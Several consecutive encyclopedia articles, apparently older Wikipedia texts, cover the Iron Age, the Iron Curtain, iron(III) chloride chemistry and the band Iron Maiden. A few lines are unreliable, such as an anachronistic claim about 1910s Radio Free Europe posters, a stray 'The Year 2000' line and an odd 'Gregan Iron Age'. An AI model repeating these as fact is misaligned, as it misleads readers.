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          In 1972, near the city of Gaocheng (藁城) in Shijiazhuang (now Hebei province), an iron-bladed bronze tomahawk (铁刃青铜钺) dating back to the 14th century BC was excavated. After a scientific examination, the iron was shown to be made from meteoric siderite. The Iron Age in East Asia began in earnest, however, when cast-iron objects appeared in Yangzi Valley toward the end of the 6th century BC. The few objects were found at Changsha and Nanjing. According to the mortuary evidence suggests that the initial use of iron in Lingnan belongs to the mid to late Warring States period (from about 350 BC).


          The techniques used in Lingnan is a combination of bivalve moulds of distinct southern tradition and the incorporation of piece mould technology from the Zhongyuan The products of the combination of these two periods are bells, vessels, weapons and ornaments and the sophisticated cast.


          An Iron Age culture of the Tibetan Plateau has tentatively been associated with the Zhang Zhung culture described in early Tibetan writings.


          


          Japan


          The Yayoi period (弥生時代, Yayoi-jidai ?) is an era in the history of Japan from about 500 BC to 300 AD. Distinguishing characteristics of the Yayoi period include the appearance of new pottery styles and the start of an intensive rice agriculture in paddy fields. The Yayoi followed the Jōmon period (14,000 BC to 500 BC) and Yayoi culture flourished in a geographic area from southern Kyūshū to northern Honshū.


          The succeeding Kofun period (古墳時代, Kofun-jidai ?) lasts from around 250 to 538. The word kofun is Japanese for the type of burial mounds dating from this era. The Kofun and the subsequent Asuka periods are sometimes referred to collectively as the Yamato period.


          


          Korea


          Iron objects were introduced to the Korean peninsula through trade with chiefdoms and state-level societies in the Yellow Sea area in the fourth century BC, just at the end of the Warring States Period but before the Western Han Dynasty began. Yoon proposes that iron was first introduced to chiefdoms located along North Korean river valleys that flow into the Yellow Sea such as the Cheongcheon and Taedong Rivers. Iron production quickly followed in the 2nd century BC, and iron implements came to be used by farmers by the 1st century AD in southern Korea. The earliest known cast-iron axes in southern Korea are found in the Geum River basin. The time that iron production begins is the same time that complex chiefdoms of Proto-historic Korea emerged. The complex chiefdoms were the precursors of early states such as Silla, Baekje, Goguryeo, and Gaya Iron ingots were an important mortuary item and indicated the wealth or prestige of the deceased in this period.


          


          Europe


          Iron working was introduced to Europe around 1000 BC, probably from Asia Minor and slowly spread northwards and westwards over the succeeding 500 years.


          


          Eastern Europe


          The early 1st millennium BC marks the Iron Age in Eastern Europe. In the Pontic steppe and the Caucasus region, the Iron Age begins with the Koban and the Chernogorovka and Novocherkassk cultures from ca. 900 BC. By 800 BC, it was spreading to Hallstatt C via the alleged " Thraco-Cimmerian" migrations.


          Along with Chernogorovka and Novocherkassk cultures, on the territory of ancient Russia and Ukraine the Iron Age is to a significant extent associated with Scythians, who developed iron culture since the 7th century BC. The majority of remains of their iron producing and blacksmith's industries from 5th to 3rd century BC was found near Nikopol in Kamenskoe Gorodishche, which is believed to be the specialized metallurgic region of the ancient Scythia.


          From the Hallstatt culture, the Iron Age spreads west with the Celtic expansion from the 6th century BC. In Poland, the Iron Age reaches the late Lusatian culture in about the 6th century, followed in some areas by the Pomeranian culture.


          The ethnic ascriptions of many Iron Age cultures has been bitterly contested, as the roots of Germanic, Baltic and Slavic peoples were sought in this area.


          


          Central Europe


          In Central Europe, the Iron Age is generally divided in the early Iron Age Hallstatt culture (HaC and D, 800- 450) and the late Iron Age La Tne culture (beginning in 450 BC). The Iron Age ends with the Roman Conquest.


          


          Italy


          In Italy, the Iron Age was probably introduced by the Villanovan culture but this culture is otherwise considered a Bronze Age culture, while the following Etruscan civilization is regarded as part of Iron Age proper. The Etruscan Iron Age was then ended with the rise and conquest of the Roman Republic, which conquered the last Etruscan city of Velzna in 265 BC.


          


          British Isles


          In the British Isles, the Iron Age lasted from about 800 BC until the Roman conquest and until the 5th century AD in non-Romanised parts. Structures dating from this time are often impressive, for example the brochs and duns of northern Scotland and the hill forts that dotted the islands.


          


          Northern Europe


          The Iron Age is divided into the Pre-Roman Iron Age and the Roman Iron Age. This is followed by the migration period. Northern Germany and Denmark was dominated by the Jastorf culture, whereas the culture of the southern half of the Scandinavia was dominated by the very similar Gregan Iron Age.


          Early Scandinavian iron production typically involved the harvesting of bog iron. Scandinavian peninsula, Finland and Estonia show sophisticated iron production very early, but further dating is currently impossible. The range varies from 3000 BP - 2000 BP. This knowledge is associated with the non-Germanic part of Scandinavia. Metalworking and Asbestos-Ceramic pottery are somewhat synonymous in Scandinavia due to the latter's capacity to resist and retain heat. The iron ore used is believed to have been iron sand (such as red soil), because its high phosphorus content can be identified in slag. They are sometimes found together with asbestos ware axes belonging to the Ananjino Culture. The Asbestos-Ceramic ware remains a mystery, because there are other adiabatic vessels with unknown usage.


          


          Sub-Saharan Africa


          
            [image: Iron Age finds in East and Southern Africa, corresponding to the early 1st millennium AD Bantu expansion]

            
              Iron Age finds in East and Southern Africa, corresponding to the early 1st millennium AD Bantu expansion
            

          


          Inhabitants at Termit, in eastern Niger became the first iron smelting people in West Africa and among the first in the world around 1500 BC, according to "a formidable new scientific work from UNESCO Publishing that challenges a lot of conventional thinking on the subject.". Iron and copper working then continued to spread southward through the continent, reaching the Cape around AD 200. The widespread use of iron revolutionized the Bantu-speaking farming communities who adopted it, driving out and absorbing the rock tool using hunter-gatherer societies they encountered as they expanded to farm wider areas of savannah. The technologically superior Bantu-speakers spread across southern Africa and became wealthy and powerful, producing iron for tools and weapons in large, industrial quantities.


          
            Retrieved from " http://en.wikipedia.org/wiki/Iron_Age"
          


          

        

      

    


    


    
      This article (see wikipedia.org for authors and sources) is made available under the GNUFreeDocumentationLicense.
    

  


  
    
      
        

        Iron Curtain


        
          

          
            [image: Warsaw Pact countries to the east of the Iron Curtain are shaded red; NATO members to the west of it — blue. Militarily neutral countries − grey. Yugoslavia, although communist-run, was independent of the Eastern Bloc. Similarly, communist Albania broke with the Soviet Union in the early 1960s, aligning itself with the People's Republic of China after the Sino-Soviet split.]

            
              Warsaw Pact countries to the east of the Iron Curtain are shaded red; NATO members to the west of it  blue. Militarily neutral countries  grey. Yugoslavia, although communist-run, was independent of the Eastern Bloc. Similarly, communist Albania broke with the Soviet Union in the early 1960s, aligning itself with the People's Republic of China after the Sino-Soviet split.
            

          


          
            [image: Iron Curtain in Germany]

            
              Iron Curtain in Germany
            

          


          The "Iron Curtain" was the symbolic, ideologic, and physical boundary dividing Europe into two separate areas from the end of World War II until the end of the Cold War, roughly 1945 to 1991. Perhaps the first, recorded use of the term 'Iron Curtain' was in 1920, by Ethel Snowden, in the book Through Bolshevik Russia, but its metaphoric, non-Soviet use appeared in Scandanavian books as early as 1901, moreover, H. G. Wells used Iron Curtain in describing 'enforced privacy' in The Food of the Gods. German politician and Nazi Minister of Propaganda Joseph Goebbels was the first to refer to an "Iron Curtain" coming down across Europe after World War II, in a manifesto he published in the German newspaper Das Reich in February 1945. The term was not widely used until March 5, 1946, when Winston Churchill popularised it in his address "Sinews of Peace".


          


          Political, economic and military realities


          


          Eastern Europe


          While the Iron Curtain was in place, certain countries of Eastern Europe and many in Central Europe (except West Germany, Liechtenstein, Switzerland and Austria) were under the control of the Soviet Union. Indeed the Central European states to the east of the Curtain were frequently regarded as being part of Eastern Europe, rather than Central Europe.


          It became common in the West to refer to former East Germany and Czechoslovakia (now two countries, the Czech Republic and Slovakia) as part of Eastern Europe. However, East Germany, the Czech Republic and large parts of Poland are further west than much of Austria, with Prague considerably further west than Vienna. Much of the physical Iron Curtain divided Czechoslovakia from Austria to the South.


          Many of the states were members of the Soviet Union (the Soviet Socialist Republics), while, with two exceptions, the neighboring countries of the Eastern bloc were ruled by Soviet installed puppet governments, kept in place by the threat and use of military force. The two exceptions were Yugoslavia which retained its full independence, and Albania which escaped Soviet influence in the 1960s and aligned itself with China; both Albania and Yugoslavia were Communist states.


          To the east of the Iron Curtain, the states developed their own international economic and military alliances, COMECON and the Warsaw Pact.
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          West of the Iron Curtain


          To the west of the Iron Curtain, the countries of Western Europe, Northern Europe and Southern Europealong with Austria, West Germany, Liechtenstein and Switzerlandoperated market economies. With the exception of a period of fascism in Spain and Portugal and military dictatorship in Greece, these countries were ruled by democratic governments.


          Most states to the west of the Iron Curtain with the exception of neutral Switzerland, Liechtenstein, Austria, Sweden, Finland and Ireland  were allied with the United States within NATO. Economically, the European Community and the European Free Trade Association were the Western counterparts to COMECON.


          


          As a physical entity
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          The Iron Curtain took physical form in the shape of border defenses between the countries of the western and eastern blocs. These were some of the most heavily militarized areas in the world, particularly the so-called " inner German border"  commonly known simply as die Grenze in German  between East and West Germany. The inner German border was marked in rural areas by double fences made of steel mesh (expanded metal) with sharp edges, while near urban areas a high concrete barrier similar to the Berlin Wall was built. The barrier was always a short distance inside East German territory to avoid any intrusion into Western territory. The actual borderline was marked by posts and signs and was overlooked by numerous watchtowers set behind the barrier. In some places a "death strip" was constructed on the East German side of the barrier, in which unauthorized access would be met with bullets. The strip of land on the West German side of the barrier  between the actual borderline and the barrier  was readily accessible but only at considerable personal risk, because it was patrolled by both East and West German border guards. Shooting incidents were not uncommon, and a total of 28 East German border guards and several hundred civilians were killed between 19481981 (some may have been victims of " friendly fire" by their own side).


          Elsewhere, the border defenses between west and east were much lighter. The border between Hungary and neutral Austria, for instance, was marked by a simple chain-link fence which was easily removed when it became the first part of the Iron Curtain to be dismantled in 1989. On June 27, 1989, the foreign ministers of Austria and Hungary, Alois Mock and Gyula Horn, ceremonially cut through the border defenses separating their countries.


          In parts of Czechoslovakia the border strip became hundreds of meters wide, and an area of increasing restrictions was defined as the border was approached. Only people with the appropriate government permissions were allowed to get close to the border.


          The creation of these highly militarized no-man's lands led to de facto nature reserves and created a wildlife corridor across Europe; this helped the spread of several species to new territories. Since the fall of the iron curtain several initiatives are pursuing the creation of a European Green Belt nature preserve compound.


          The term "Iron Curtain" was only used for the fortified borders in central Europe; it was not used for similar borders in Asia between communist and capitalist states. The border between North Korea and South Korea is very comparable to the former inner German border, particularly in its degree of militarization, but it has never conventionally been considered part of the Iron Curtain.


          Back in the 1910's, advertising posters in the bronx train system for Radio Free Europe had photographs of electrified barbed wire fences that, while not identified specifically as part of the iron curtain, implied that it was the iron curtain.


          


          Origins


          The first recorded use of the term iron curtain was derived from the safety curtain used in theatres and first applied to the border of communist Russia as "an impenetrable barrier" in 1920 by Ethel Snowden, in her book Through Bolshevik Russia. It was used during World War II by German Propaganda Minister Joseph Goebbels and later Count Lutz Schwerin von Krosigk in the last days of the war. The former British Prime Minister Winston Churchill used the phrase in telegrams to President Truman on 1945 May 12 and 1945 June 4. However, its use was popularized by Winston Churchill, who used it in his "Sinews of Peace" address March 5, 1946, at Westminster College in Fulton, Missouri:


          
            
              	

              	From Stettin in the Baltic to Trieste in the Adriatic an "iron curtain" has descended across the Continent. Behind that line lie all the capitals of the ancient states of Central and Eastern Europe. Warsaw, Berlin, Prague, Vienna, Budapest, Belgrade, Bucharest and Sofia; all these famous cities and the populations around them lie in what I must call the Soviet sphere, and all are subject, in one form or another, not only to Soviet influence but to a very high and in some cases increasing measure of control from Moscow.

              	
            

          


          


          Reactions


          At first, many countries in the West widely condemned the speech. Much of the Western public still regarded the Soviet Union as close allies, in context of the recent defeat of Nazi Germany and Japan. Many saw Churchill's speech as warmongering and unnecessary. In light of Soviet archives now public, many historians have now revised their opinions.


          Although the phrase was not well received at the time, as the Cold War strengthened it gained popularity as a short-hand reference to the division of Europe. The Iron Curtain served to keep people in and information out, and the metaphor eventually was widely accepted throughout the West.


          


          Antagonism between Soviet Union and West


          The antagonism between the Soviet Union and the West that led to Churchill's speech had various origins.


          The United Kingdom, France, Japan, Canada, the United States and many other countries had backed the White Russians against the Bolsheviks during the 19181920 Russian Civil War, and the fact had not been forgotten by the Soviets. In the build up to World War II and in the face of the Western appeasement of Adolf Hitler the Soviets signed the Molotov-Ribbentrop Pact with Nazi Germany, one of the intentions being to divide the border states between them to form a buffer zone. Following the war, Stalin was determined to acquire a similar buffer against Germany with pro-Soviet states on its border, leading to strained relations at the Yalta Conference (February 1945) and the subsequent Potsdam Conference (August 1945).


          In the West, there was opposition to Soviet domination over the buffer states, and the fear grew that the Soviets were building an empire that might be a threat to them and their interests. And, in particular, Churchill was concerned that the United States might return to its pre-war isolationism, leaving the exhausted European states unable to resist Soviet demands. President Franklin D. Roosevelt had announced at Yalta that after the defeat of Germany, U.S. forces would be withdrawn from Europe within two years.


          


          Earlier uses of the term


          There are various earlier usages of the term "iron curtain" pre-dating Churchill. Some suggest the term may have first been coined by Queen Elisabeth of the Belgians after World War I to describe the political situation between Belgium and Germany, in 1914. An iron curtain, or eisener Vorhang, was an obligatory precaution in all German theaters to prevent the possibility of fire from spreading from the stage to the rest of the theater. Such fires were rather common because the decor often was very flammable. In case of fire, a metal wall would separate the stage from the theatre, secluding the flames to be extinguished by firefighters. Douglas Reed used this metaphor in his book Disgrace Abounding ( Jonathan Cape, 1939, page 129): "The bitter strife [in Yugoslavia between Serb unionists and Croat federalists] had only been hidden by the iron safety-curtain of the King's dictatorship." Joseph Goebbels wrote of an "iron curtain" in his weekly newspaper Das Reich:


          
            
              	

              	If the German people lay down their weapons, the Soviets, according to the agreement between Roosevelt, Churchill and Stalin, would occupy all of East and Southeast Europe along with the greater part of the Reich. An iron curtain would fall over this enormous territory controlled by the Soviet Union, behind which nations would be slaughtered. The Jewish press in London and New York would probably still be applauding.

              	
            

          


          
            	The Year 2000

          


          The first oral mention of an Iron Curtain was in a broadcast by Count Lutz Schwerin von Krosigk to the German people on May 2, 1945:


          
            
              	

              	In the East the iron curtain behind which, unseen by the eyes of the world, the work of destruction goes on, is moving steadily forward.

              	
            

          


          The first recorded occasion on which Churchill used the term "iron curtain" was in a May 12, 1945 telegram he sent to U.S. President Harry S. Truman:


          
            
              	

              	I am profoundly concerned about the European situation.  3. An iron curtain is drawn down upon their front. We do not know what is going on behind. There seems little doubt that the whole of the regions east of Lbeck-Trieste-Corfu will soon be completely in their hands. To this must be added the further enormous area conquered by the American armies between Eisenach and the Elbe, which will, I suppose, in a few weeks be occupied, when the Americans retreat, by the Russian power. All kinds of arrangements will have to be made by General Eisenhower to prevent another immense flight of the German population westward as this enormous Muscovite advance towards the centre of Europe takes place. And then the curtain will descend again to a very large extent, if not entirely. Thus a broad land of many hundreds of miles of Russian-occupied territory will isolate us from Poland. 

              	
            

          


          
            	(US Dept of State, Foreign Relations of the US, The Conference of Berlin (Potsdam) 1945, vol. 1, p. 9)

          


          Churchill repeated the words in a further telegram to Truman on June 4, 1945, in which he protested against such a U.S. retreat to what was earlier designated as, and ultimately became, the U.S. occupation zone, saying the military withdrawal would bring


          
            
              	

              	Soviet power into the heart of Western Europe and the descent of an iron curtain between us and everything to the eastward.

              	
            

          


          
            	(Ibid., p. 92)

          


          At the Potsdam Conference, Churchill complained to Stalin about an "iron fence" coming down upon the British Mission in Bucharest.


          Allen Dulles used the term in a speech on December 3, 1945, referring to only Germany:


          
            
              	

              	It is difficult to say what is going on, but in general the Russians are acting little better than thugs. They have wiped out all the liquid assets. No food cards are issued to Germans, who are forced to travel on foot into the Russian zone, often more dead than alive. An iron curtain has descended over the fate of these people and very likely conditions are truly terrible. The promises at Yalta to the contrary, probably 8 to 10 million people are being enslaved.

              	
            

          


          


          Monuments


          There is an Iron Curtain monument in the southern part of the Czech Republic at approximately (48.8758 N, 15.8737 E). A few hundred meters of the original fence, and one of the guard towers, has remained installed. There are interpretive signs in Czech and English that explain the history and significance of the Iron Curtain. This is the only surviving part of the fence in the Czech Republic (though several guard towers and bunkers can still be seen. Some of these are part of the Communist Era defenses, some are from the never-used Czech 'mini- Maginot line' in defense against Hitler, and some towers were, or have become, hunting platforms).


          Another monument is located in the village of Devn, now part of Bratislava, Slovakia, at the confluence of the Danube and Morava rivers.


          There are several open air museums in parts of the former inner German border, as for example in Berlin and in Mdlareuth, a village that has been divided for several hundred years. The memory of the division is being kept alive in many other places along the Grenze.


          


          Analogous terms


          Throughout the Cold War the term "curtain" would become a common euphemism for boundaries, physical or ideological, between communist and capitalist states. Other usages of the term can be found elsewhere in the world.


          
            	A variant of the Iron Curtain, the Bamboo Curtain, was coined in reference to the People's Republic of China. As the standoff between the West and the countries of the Iron and Bamboo curtains eased with the end of the Cold War, the term fell out of any but historical usage.


            	A field of cacti surrounding the U.S. Naval station at Guantanamo Bay planted by Cuba was occasionally termed the "cactus curtain".


            	The Zion Curtain is a joking reference to Utah because the Church of Latter Day Saints has considerable influence in Utah and often uses the term "Zion" to describe itself.


            	The Orange Curtain is a nickname for Orange County as it is considered mainly Republican as opposed to the more left-leaning Los Angeles County.


            	Reflecting the rivalries between professional sports teams in Illinois and Wisconsin (primarily the Chicago Bears and Green Bay Packers), the term "Cheddar Curtain" is used by Illinoisans as a benign, derogatory insult toward Wisconsin " Cheeseheads."
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              	IUPAC name

              	Iron(III) chloride
            


            
              	Other names

              	ferric chloride

              iron trichloride

              molysite (mineral)

              Flores martis
            


            
              	Identifiers
            


            
              	CAS number

              	[7705-08-0],

              hexahydrate:[]
            


            
              	RTECS number

              	LJ9100000
            


            
              	Properties
            


            
              	Molecular formula

              	FeCl3
            


            
              	Molar mass

              	162.2gmol-1

              hexahydrate:270.3gmol1
            


            
              	Appearance

              	green-black by reflected light; purple-red by transmitted light

              hexahydrate: yellow solid

              aq. solutions: brown
            


            
              	Density

              	2.80gcm3

              40% solution: 1.4gml1
            


            
              	Melting point

              	
                306C, 579K, 583F

              
            


            
              	Boiling point

              	
                315C, 588K, 599F (partial decomposition to FeCl2+Cl2)

              
            


            
              	Solubility in water

              	92g/100ml (20C)
            


            
              	Solubility in acetone

              Methanol

              Ethanol

              Diethyl ether

              	63g/100ml (18C)

              highly soluble

              83g/100ml

              highly soluble
            


            
              	Viscosity

              	40%solution: 12c P
            


            
              	Structure
            


            
              	Crystal structure

              	hexagonal
            


            
              	Coordination

              geometry

              	octahedral
            


            
              	Hazards
            


            
              	Main hazards

              	Very corrosive
            


            
              	NFPA 704

              	
                
                  [image: ]


                  
                    0
                  


                  
                    3
                  


                  
                    1
                  


                  
                    
                  

                

              
            


            
              	R-phrases

              	R22, R34
            


            
              	S-phrases

              	S26, S28
            


            
              	Related compounds
            


            
              	Other anions

              	Iron(III) fluoride

              Iron(III) bromide
            


            
              	Other cations

              	Iron(II) chloride

              Manganese(II) chloride

              Cobalt(II) chloride

              Ruthenium(III) chloride
            


            
              	Related coagulants

              	Iron(II) sulfate

              Polyaluminium chloride
            


            
              	Except where noted otherwise, data are given for

              materials in their standard state

              (at 25C, 100kPa)

              Infobox disclaimer and references
            

          


          Iron(III) chloride, generically called ferric chloride, is an industrial scale commodity chemical compound, with the formula FeCl3. The colour of iron(III) chloride crystals depends on the viewing angle: by reflected light the crystals appear dark green, but by transmitted light they appear purple-red. Anhydrous iron(III) chloride is deliquescent, forming hydrated hydrogen chloride mists in moist air.


          When dissolved in water, iron(III) chloride undergoes hydrolysis and gives off heat in an exothermic reaction. The resulting brown, acidic, and corrosive solution is used as a coagulant in sewage treatment and drinking water production, and as an etchant for copper-based metals in printed circuit boards. Anhydrous iron(III) chloride is a fairly strong Lewis acid, and it is used as a catalyst in organic synthesis.


          


          Chemical and physical properties


          Iron(III) chloride has a relatively low melting point and boils at around 315C. The vapour consists of the dimer Fe2Cl6 (compare aluminium chloride) which increasingly dissociates into the monomeric FeCl3 (D3h point group molecular symmetry) at higher temperature, in competition with its reversible decomposition to give iron(II) chloride and chlorine gas.


          


          Reactions


          Iron(III) chloride is a moderately strong Lewis acid, forming adducts with Lewis bases such as triphenylphosphine oxide, e.g. FeCl3(OPPh3)2 where Ph = phenyl.


          Iron(III) chloride reacts with other chloride salts to give the yellow tetrahedral FeCl4 ion. Salts of FeCl4 in hydrochloric acid can be extracted into diethyl ether.


          When heated with iron(III) oxide at 350C, iron(III) chloride gives iron oxychloride, a layered solid and intercalation host.


          
            	FeCl3 + Fe2O3  3FeOCl

          


          In the presence of base, alkali metal alkoxides react to give the dimeric complexes:


          
            	2 FeCl3 + 6 C2H5OH + 6 NH3  (Fe(OC2H5)3)2 + 6 NH4Cl

          


          Oxalates react rapidly with aqueous iron(III) chloride to give [Fe(C2O4)3]3. Other carboxylate salts form complexes, e.g. citrate and tartrate.


          Iron(III) chloride is a mild oxidising agent, for example capable of oxidising copper(I) chloride to copper(II) chloride. Reducing agents such as hydrazine convert iron(III) chloride to complexes of iron(II).


          


          Structure


          Iron(III) chloride adopts the BiI3 structure, which features octahedral Fe(III) centres interconnected by two-coordinate chloride ligands.


          


          Preparation and production


          Anhydrous iron(III) chloride may be prepared by union of the elements:


          
            	2Fe( s) + 3Cl2(g)  2FeCl3(s)

          


          Solutions of iron(III) chloride are produced industrially both from iron and from ore, in a closed-loop process.


          
            	Dissolving pure iron in a solution of iron(III) chloride

            Fe(s) + 2FeCl3(aq)  3FeCl2(aq)


            	Dissolving iron ore in hydrochloric acid

            Fe3O4(s) + 8HCl(aq)  FeCl2(aq) + 2FeCl3(aq) + 4H2O


            	Upgrading the iron(II) chloride with chlorine

            2FeCl2(aq) + Cl2(g)  2FeCl3(aq)

          


          Alternatively, iron(II) chloride can be oxidised with sulfur dioxide:


          
            	32FeCl2 + 8SO2 + 32HCl  32FeCl3 + S8 + 16H2O

          


          Like many other hydrated metal chlorides, hydrated iron(III) chloride can be converted to the anhydrous salt by refluxing with thionyl chloride. The hydrate cannot be converted to anhydrous iron(III) chloride by only heat, as instead HCl is evolved and iron oxychloride forms.


          


          Uses


          


          Industrial


          In industrial application, iron(III) chloride is used in sewage treatment and drinking water production. In this application, FeCl3 in slightly basic water reacts with the hydroxide ion to form a floc of iron(III) hydroxide, or more precisely formulated as FeO(OH)-, that can remove suspended materials.


          
            	Fe3+ + 4 OH  Fe(OH)4  FeO(OH)2H2O

          


          Another important application of iron(III) chloride is etching copper in two-step redox reaction to copper(I) chloride and then to copper(II) chloride in the production of printed circuit boards.


          
            	FeCl3 + Cu  FeCl2 + CuCl


            	FeCl3 + CuCl  FeCl2 + CuCl2

          


          Iron(III) chloride is used as catalyst for the reaction of ethylene with chlorine, forming ethylene dichloride ( 1,2-dichloroethane), an important commodity chemical, which is mainly used for the industrial production of vinyl chloride, the monomer for making PVC.


          
            	H2C=CH2 + Cl2  ClCH2CH2Cl

          


          


          Laboratory use


          In the laboratory iron(III) chloride is commonly employed as a Lewis acid for catalysing reactions such as chlorination of aromatic compounds and Friedel-Crafts reaction of aromatics. It is less powerful than aluminium chloride, but in some cases this mildness leads to higher yields, for example in the alkylation of benzene:


          [image: Iron(III) chloride as a catalyst]


          The "ferric chloride test" is a traditional colorimetric test for phenols, which uses a 1% iron(III) chloride solution that has been neutralised with sodium hydroxide until a slight precipitate of FeO(OH) is formed. The mixture is filtered before use. The organic substance is dissolved in water, methanol or ethanol, then the neutralised iron(III) chloride solution is addeda transient or permanent coloration (usually purple, green or blue) indicates the presence of a phenol or enol.


          


          Other uses


          Anhydrous Iron(III) chloride is sometimes used as a drying reagent in certain reactions.


          Iron(III) chloride is sometimes used by American coin collectors to identify the dates of Buffalo nickels that are so badly worn that the date is no longer visible.


          Iron(III) chloride is commonly used by knife craftsmen and sword smiths to stain blades, as to give a contrasting effect to the metal, and to view metal layering or imperfections.


          Iron(III) chloride is necessary for the etching of photogravure plates for printing photographic and fine art images in intaglio and for etching rotogravure cylinders used in the printing industry.


          Iron(III) chloride is also used in veterinary practice to treat overcropping of an animal's claws, particularly when the overcropping results in bleeding.


          


          Precautions


          Iron(III) chloride is toxic, highly corrosive and acidic. The anhydrous material is a powerful dehydrating agent. In secondary/high schools all around the world, where Design and technology is a subject taught, Ferric Chloride used for PCB etching is usually diluted with water. Despite this, hands and other surfaces that have contacted it should still be washed immediately after one finishes with it.
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              	Background information
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          Iron Maiden are an English heavy metal band from Leyton in the East End of London. The band were formed in 1975 by bassist Steve Harris, formerly a member of Gypsy's Kiss and Smiler. Iron Maiden are one of the most successful and influential bands in the heavy metal genre, having sold over 80 million albums worldwide without significant mainstream or radio support. They are also often considered the leaders of the New Wave of British Heavy Metal movement. The band won the Ivor Novello Awards for international achievement in 2002, and were also inducted into the Hollywood RockWalk in Sunset Boulevard, Los Angeles County, California during their tour in the United States in 2005. Iron Maiden are influenced by Thin Lizzy, UFO, Wishbone Ash, and Deep Purple amongst others.


          


          History of Iron Maiden


          


          The early days (19751978)


          Iron Maiden were formed on Christmas Day 1975, by bassist Steve Harris, shortly after he left his previous group, Smiler. Harris attributes the band name to a movie adaptation of The Man in the Iron Mask from the novel by Alexandre Dumas,and starring Patrick Mcgoohan (who also starred in the 1960's series The Prisoner) which he saw around that time, and so the group was christened after the purported torture device.


          Steve Harris and guitarist Dave Murray remain the longest-surviving members of Iron Maiden to this day. Original vocalist Paul Day was fired as he lacked "energy or charisma onstage". He was replaced by Dennis Wilcock, a Kiss fan who utilised fire, make-up and fake blood during live performances. Wilcock's friend, Dave Murray, was invited to join, to the frustration of guitarists Dave Sullivan and Terry Rance. This fueled Harris to temporarily split the band in 1976, though the group reformed soon after with Murray as the sole guitarist.


          Iron Maiden recruited another guitarist in 1977, Bob Sawyer, who caused a rift between Murray and Wilcock, prompting Harris to fire both Murray and Sawyer. A poor gig at the Bridgehouse in November 1977, with a makeshift line-up including Tony Moore on keyboards, Terry Wapram on guitar, and drummer Barry Purkis resulted in Harris firing the entire band. Dave Murray was reinstated and Doug Sampson was hired as drummer.


          


          Rise to fame (1978-1981)


          A chance meeting at the Red Lion pub in Leytonstone evolved into a successful audition for vocalist Paul Di'Anno. Steve Harris has stated, "There's sort of a quality in Paul's voice, a raspiness in his voice, or whatever you want to call it, that just gave it this great edge."


          Iron Maiden had been playing for three years, but had never recorded any of their music. On New Year's Eve 1978, the band recorded a demo, The Soundhouse Tapes. Featuring only three songs, the band sold all five thousand copies within weeks. One track found on the demo, " Prowler", went to number one on Neal Kay's Heavy Metal Soundhouse charts in Sounds magazine. Their first appearance on an album was on the compilation Metal for Muthas (released on 15 February 1980) with two early versions of " Sanctuary" and "Wrathchild".


          From late 1977 to 1978, Murray was the sole guitarist in the band until Paul Cairns joined in 1979. Shortly before going into the studio, Cairns left the band. Several other guitarists were temporarily hired until the band finally settled on Dennis Stratton. Initially, the band wanted to hire Dave Murray's childhood friend Adrian Smith, but Smith was busy with his own band, Urchin. Drummer Doug Sampson was also replaced by Clive Burr (who was brought into the band by Stratton). In December 1979, the band landed a major record deal with EMI.


          Iron Maiden's eponymous 1980 release, Iron Maiden, made number 4 in the UK Albums Chart in its first week of release, and the group became one of the leading proponents of the New Wave of British Heavy Metal movement. In addition to the title track, the album includes other early favourites such as " Running Free", " Transylvania", " Phantom of the Opera", and " Sanctuary"  which was not on the original UK release but made the U.S. release and subsequent re-releases. The band played a headline tour of the UK then went on to open for Kiss on their 1980 Unmasked Tour's European leg. Iron Maiden also supported Judas Priest on select dates. After the Kiss tour, Dennis Stratton was fired from the band as a result of creative and personal differences. Stratton was replaced by Adrian Smith in October 1980.


          In 1981, Maiden released their second album, titled Killers. This new album contained many tracks that had been written prior to the release of the debut album, but were considered surplus. With songs already shaped on the road well in advance, only two new tracks were written for the album: "Prodigal Son" and "Murders in the Rue Morgue" (the title was taken from the short story by Edgar Allan Poe).


          


          International success (1981-1986)


          By 1981, Paul Di'Anno was demonstrating increasingly self-destructive behaviour, particularly through cocaine usage. His performances began to suffer, just as the band was beginning to achieve large-scale success in America. At the end of 1981 the band fired Di'Anno and began to seek a new vocalist.


          Bruce Dickinson, previously of Samson, auditioned for Iron Maiden in September 1981 and joined the band shortly afterwards. He then went out on the road with the band on a small headlining tour. In anticipation of the band's forthcoming album, the band played "Children of the Damned", " Run to the Hills", "22 Acacia Avenue" and "The Prisoner" at select venues, introducing fans to the sound that the band was progressing towards.


          Dickinson's recorded debut with Iron Maiden was 1982's The Number of the Beast, an album that claimed the band their first ever UK Albums Chart number 1 record and additionally became a Top Ten hit in many other countries. For the second time the band went on a world tour, visiting the United States, Canada, Japan, Australia, UK and Germany. The tour's U.S. leg was marred by controversy stemming from an American right-wing political pressure group that claimed Iron Maiden was Satanic because of the new album's title track. The band members' attempts to deflect the criticism failed to dampen persistent accusations. A group of Christian activists went on to destroy Iron Maiden records (along with those of Ozzy Osbourne) in protest against the band.


          Dickinson at the time was still in legal difficulties with Samson's management, and was not permitted to add his name to any of the songwriting credits. However, he was still able to lend "creative influence" to many of the songs.


          In December 1982, drummer Clive Burr left the band due to personal and tour schedule problems. He was replaced by Nicko McBrain, previously of French band Trust. Shortly afterwards, in 1983, the band released Piece of Mind.


          Following the success of Piece of Mind, the band released Powerslave on September 9, 1984. The album featured fan favourites " 2 Minutes to Midnight", " Aces High", and " Rime of The Ancient Mariner", the latter based on Samuel Taylor Coleridge's poem of the same name and running over 13 minutes in length. "Back in the Village" followed up on an earlier hit "The Prisoner", both based on the television show starring Patrick McGoohan.


          The tour following the album, dubbed the World Slavery Tour, was the band's biggest to date and consisted of 193 shows over 13 months. This was one of the biggest tours in music history. Many shows were played back-to-back in the same city, such as in Long Beach, California, where most of the recordings were made for their subsequent live release Live After Death. This tour was physically grueling for the band and they took a 6-month break when it ended. This was the first break in the band's history, including even cancelling a proposed supporting tour for the new live album.


          


          Experimentation (1986-1990)


          Returning from their break, the band adopted a different approach for their 1986 studio album, titled Somewhere in Time. This was not a concept album, though it was themed loosely around the idea of time travel. It also included associated themes - history, the passage of time, and long journeys. It featured, for the first time in the band's history, synthesized bass and guitars sounds to add textures and layers to the sound. Though considered different from the norm of Maiden sounds, it charted well across the world, especially with the single " Wasted Years". The band had resisted using synthetic sounds before, and still insisted on not using keyboards. At the time they claimed the music was still 'real' since actual guitars/bass guitars had been used.


          The experimentation on Somewhere in Time led to a follow-up in Seventh Son of a Seventh Son, 1988. Adding to Iron Maiden's experimentation, it was a concept album featuring a story about a mythical child who possessed clairvoyant powers. For the first time, the band used keyboards on a recording, as opposed to guitar synthesisers on the previous release. Critics stated this produced a more accessible release. It was a huge success, and became the band's second album to hit #1 in the UK charts.


